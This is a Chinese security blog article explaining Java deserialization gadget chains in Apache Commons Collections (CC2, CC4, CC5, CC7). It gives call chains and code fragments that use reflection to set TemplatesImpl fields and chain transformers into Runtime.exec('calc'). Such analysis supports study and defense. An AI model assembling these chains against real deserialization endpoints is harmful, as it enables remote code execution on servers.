news 2026/4/15 11:35:47

JAVA攻防-手搓代码Gadget链细节分析反射调用类传入成员变量CC2CC4CC5

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JAVA攻防-手搓代码Gadget链细节分析反射调用类传入成员变量CC2CC4CC5

知识点:
Java攻防-手搓Gadget-反射调用-CC2&CC4&CC5

前面利用链都是使用commons.collections都是3.x版本的,那么来看一下4.x版本有哪些利用方式,把cc2,cc4,cc5,cc7都进行分析。

复现配置:pom.xml添加依赖:CC4版本

<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>

演示案例-Java攻防-手搓Gadget-反射调用CC2&CC4&CC5

一、CC2

cc2中不通过实例化TrAXFilter进行类加载,而用InvokerTransformer PriorityQueue#readObject->PriorityQueue#heapify->PriorityQueue#siftDown->PriorityQueue#siftDownUsingComparator->comparator#compare->TransformingComparator#compare->InvokerTransformer#transform->TemplatesImpl#newTransformer->TemplatesImpl::getTransletInstance ->TemplatesImpl::defineTransletClasses ->TransletClassLoader::defineClass






















0、获取对象修改成员属性

Field declaredField=obj.getClass().getDeclaredField(fieldName);declaredField.setAccessible(true);declaredField.set(obj, value);

反射技术原理

1、TemplatesImpl#newTransformer

需要传入成员变量数据:_class _name _bytecodes _tfactoryif(_name!=null)if(_bytecodes!=null)if(_class==null)_tfactory=new TransformerFactoryImpl()其中:在TemplatesImpl#defineTransletClasses()中,_tfactory会被隐式调用_tfactory.getExternalExtensionsMap()是必须调用的方法,如果 _tfactory为null,此处会抛出 NullPointerException

2、InvokerTransformer

负责传递执行方法和参数数据 newTransformer new Class[]{}new Object[]{}

3、TransformingComparator

Comparator.compare(obj1,obj2)obj1=2obj2=templates

4、PriorityQueue

size=2


二、CC4

CC4可以看成是对CC2的改造,用InstantiateTransformer来替代InvokerTransformer PriorityQueue::readObject ->PriorityQueue#heapify->PriorityQueue#siftDown->PriorityQueue#siftDownUsingComparatorTransformingComparator::compare ChainedTransformer::transform ConstantTransformer::transform InstantiateTransformer::transform TrAXFilter::带参构造 TemplatesImpl::newTransformer ->TemplatesImpl::getTransletInstance ->TemplatesImpl::defineTransletClasses ->TransletClassLoader::defineClass

0、PriorityQueue、TransformingComparator、ChainedTransformer、TemplatesImpl类基本没什么变动

1、ConstantTransformer

new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};

2、InstantiateTransformer

new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})




三、CC5

基本和CC1一致,入口点换成BadAttributeValueExpException Gadget chain: BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

0、InvokerTransformer

通过反射调用 Class.getMethod()通过反射调用 Method.invoke()通过反射调用 Runtime.exec("calc")反射调用原型: Class aClass=Class.forName("java.lang.Runtime");//获取类 //用method获取成员方法 Method getRuntimeMethod=aClass.getMethod("getRuntime");//获取成员方法 Methodexec=aClass.getMethod("exec", String.class);//获取exec Object runtime=getRuntimeMethod.invoke(aClass);exec.invoke(runtime,"calc.exe");

1、ConstantTransformer

通过反射调用 Runtime.class new ConstantTransformer(Runtime.class);

2、Transformer[]的设计是为了分步反射调用

Transformer[]transformers=new Transformer[]{new ConstantTransformer(Runtime.class), // 固定返回 Runtime.class new InvokerTransformer("getMethod",...), // 获取 getRuntime()方法 new InvokerTransformer("invoke",...), // 调用 getRuntime()new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})// 执行命令};

3、LazyMap

反射利用HashMap通过decorate方法发送指向类 HashMap<Object, Object>objectObjectHashMap=new HashMap<>();Map decorate=LazyMap.decorate(objectObjectHashMap, chainedTransformer);

4、TiedMapEntry

通过getkey getvalue发送指向类 TiedMapEntry tiedMapEntry=new TiedMapEntry(decorate,"123");

5、BadAttributeValueExpException

调用设置varl值调用执行toString方法 BadAttributeValueExpException setFieldValue(badAttributeValueExpException,"val", tiedMapEntry);





四、CC7

基本和CC1一致,入口点换成Hashtable Gadget chain: Hashtable.readObject Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get ChainedTransformer.transform ConstantTransformer::transform InvokerTransformer.transform
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/8 19:15:33

教育领域应用探索:YOLOE辅助生物课图像教学

教育领域应用探索&#xff1a;YOLOE辅助生物课图像教学 在中学生物课堂上&#xff0c;教师常面临一个现实困境&#xff1a;显微图像模糊难辨、标本照片缺乏标注、学生对细胞结构“看得见却认不准”。一张未经处理的洋葱表皮细胞显微图&#xff0c;初学者可能分不清细胞壁与细胞…

作者头像 李华
网站建设 2026/4/13 0:33:57

Qwen3-Embedding-4B微调实战:领域自适应部署指南

Qwen3-Embedding-4B微调实战&#xff1a;领域自适应部署指南 1. 为什么你需要Qwen3-Embedding-4B 你有没有遇到过这样的问题&#xff1a;用通用嵌入模型做金融文档检索&#xff0c;结果把“流动性风险”和“市场情绪”混为一谈&#xff1b;或者在法律问答系统里&#xff0c;模…

作者头像 李华
网站建设 2026/4/13 3:27:27

手机拍照转文本实战:cv_resnet18_ocr-detection轻松搞定

手机拍照转文本实战&#xff1a;cv_resnet18_ocr-detection轻松搞定 你有没有过这样的经历&#xff1a;在会议中快速拍下白板上的要点&#xff0c;却苦于手动敲字整理&#xff1b;收到一张手写收据照片&#xff0c;想立刻提取金额和日期却无从下手&#xff1b;或是扫了一堆产品…

作者头像 李华
网站建设 2026/4/12 20:20:59

PyTorch镜像支持哪些GPU?RTX 30/40系适配清单

PyTorch镜像支持哪些GPU&#xff1f;RTX 30/40系适配清单 1. 这个镜像到底能跑在什么显卡上&#xff1f; 你是不是也遇到过这样的问题&#xff1a;买了新显卡&#xff0c;兴冲冲想跑PyTorch模型&#xff0c;结果环境配了一下午——CUDA版本不对、驱动不兼容、torch版本报错……

作者头像 李华
网站建设 2026/4/13 0:30:42

Qwen3-Embedding-0.6B部署加速:TensorRT-LLM集成优化实战

Qwen3-Embedding-0.6B部署加速&#xff1a;TensorRT-LLM集成优化实战 1. Qwen3-Embedding-0.6B&#xff1a;轻量高效的新一代嵌入引擎 Qwen3 Embedding 模型系列是 Qwen 家族的最新专有模型&#xff0c;专门设计用于文本嵌入和排序任务。它不是通用大语言模型的简单变体&…

作者头像 李华
网站建设 2026/4/13 16:13:47

Qwen3-Embedding-0.6B企业应用案例:智能客服文本聚类部署实操

Qwen3-Embedding-0.6B企业应用案例&#xff1a;智能客服文本聚类部署实操 在智能客服系统中&#xff0c;每天涌入成千上万条用户咨询——“订单没收到怎么办”“发票怎么开”“退货流程是怎样的”……这些看似相似的问题&#xff0c;实际表达五花八门&#xff0c;人工归类耗时…

作者头像 李华